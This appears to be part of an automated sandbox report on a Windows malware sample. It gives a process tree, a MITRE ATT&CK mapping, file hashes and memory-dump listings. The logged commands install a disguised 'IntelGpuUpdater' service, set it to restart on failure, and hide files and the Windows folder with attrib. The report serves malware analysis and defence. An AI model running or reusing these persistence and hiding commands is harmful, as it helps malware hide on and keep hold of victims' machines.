      C:\Windows\IntelGpuUpdaterHelper.exe install IntelGpuUpdater C:\Windows\IntelGpuUpdater.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4552
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c sc start IntelGpuUpdater
      4⤵
      System Location Discovery: System Language Discovery
      PID:4076
    - - C:\Windows\SysWOW64\sc.exe
        
        sc start IntelGpuUpdater
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:404
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c sc failure IntelGpuUpdater reset= 0 actions= restart/5000/restart/5000/restart/5000
      4⤵
      System Location Discovery: System Language Discovery
      PID:3660
    - - C:\Windows\SysWOW64\sc.exe
        
        sc failure IntelGpuUpdater reset= 0 actions= restart/5000/restart/5000/restart/5000
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2448
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c pause
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4400

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 3932 -ip 3932
1⤵
PID:4360

C:\Windows\IntelGpuUpdaterHelper.exe
C:\Windows\IntelGpuUpdaterHelper.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:3888
- C:\Windows\IntelGpuUpdater.exe
  "C:\Windows\IntelGpuUpdater.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3716
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k attrib "C:\Windows\IntelGpuUpdater.exe" +s +h
    3⤵
    - System Location Discovery: System Language Discovery
    PID:740
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Windows\IntelGpuUpdater.exe" +s +h
      4⤵
      Sets file to hidden
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:4304
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k attrib "C:\Windows" +s +h
    3⤵
    - System Location Discovery: System Language Discovery
    PID:812
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Windows" +s +h
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:400
- - C:\Windows\TEMP\MSDCSC\msdcsc.exe
    "C:\Windows\TEMP\MSDCSC\msdcsc.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    - Suspicious use of SetWindowsHookEx
    PID:4172
  - - C:\Windows\notepad.exe
      notepad
      4⤵
      Modifies data under HKEY_USERS
      PID:4896
- C:\Windows\IntelGpuUpdater.exe
  "C:\Windows\IntelGpuUpdater.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  - Suspicious use of SetWindowsHookEx
  PID:396
- - C:\Windows\notepad.exe
    notepad
    3⤵
    PID:2316

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\test.exe

Filesize
251KB

MD5
59a062d42753c520fa5531b312edafbd

SHA1
cccbea6327b6fb94c3874981531074edea20c776

SHA256
d616881a05c6d49f93d5a1997bd98c13991c1cc8ee2c3a2c05749ce12288cc8e

SHA512
5f9a9db8672d89880535c5e5d8f50f0a3b750c246ef900cbaffd9e29abd90c8c84832c269bbf6923c27526432ce3997fd3457e2b691f31eef356f65eec669032

Download Submit
C:\Windows\IntelGpuUpdaterHelper.exe

Filesize
256KB

MD5
c721739bd54dd9beb16909f6807b73c5

SHA1
5ec54658246914144293357f302e68bf9972fb71

SHA256
7376ce1eefd786d30efbecb716a13e9d23d27cfc362ce1bbc2fbebdf4fbf54ea

SHA512
0800c5f0425237219d7d34654cc021b8b8aa1fce1545ba9815c7be12a623edb08a098fd4de40ccc867487639647cb7f316316464a3a0bdb0650fdd2852408b4e

Download Submit
memory/396-94-0x0000000000400000-0x00000000004B7000-memory.dmp

Filesize
732KB

Download
memory/396-112-0x0000000000400000-0x00000000004B7000-memory.dmp

Filesize
732KB

Download
memory/396-110-0x0000000000400000-0x00000000004B7000-memory.dmp

Filesize
732KB

Download
memory/2736-3-0x0000000000400000-0x00000000004B7000-memory.dmp

Filesize
732KB

Download
memory/2736-5-0x0000000002400000-0x0000000002401000-memory.dmp

Filesize
4KB

Download
memory/2736-42-0x0000000000400000-0x00000000004B7000-memory.dmp

Filesize
732KB

Download
memory/3064-111-0x0000000000400000-0x00000000004B7000-memory.dmp

Filesize
732KB

Download
memory/3064-92-0x0000000000400000-0x00000000004B7000-memory.dmp

Filesize
732KB

Download
memory/3716-53-0x0000000000400000-0x00000000004B7000-memory.dmp

Filesize
732KB

Download
memory/3716-88-0x0000000000400000-0x00000000004B7000-memory.dmp

Filesize
732KB

Download
memory/3932-40-0x0000000000EF0000-0x0000000000EF1000-memory.dmp

Filesize
4KB

Download
memory/4172-90-0x0000000000400000-0x00000000004B7000-memory.dmp

Filesize
732KB

Download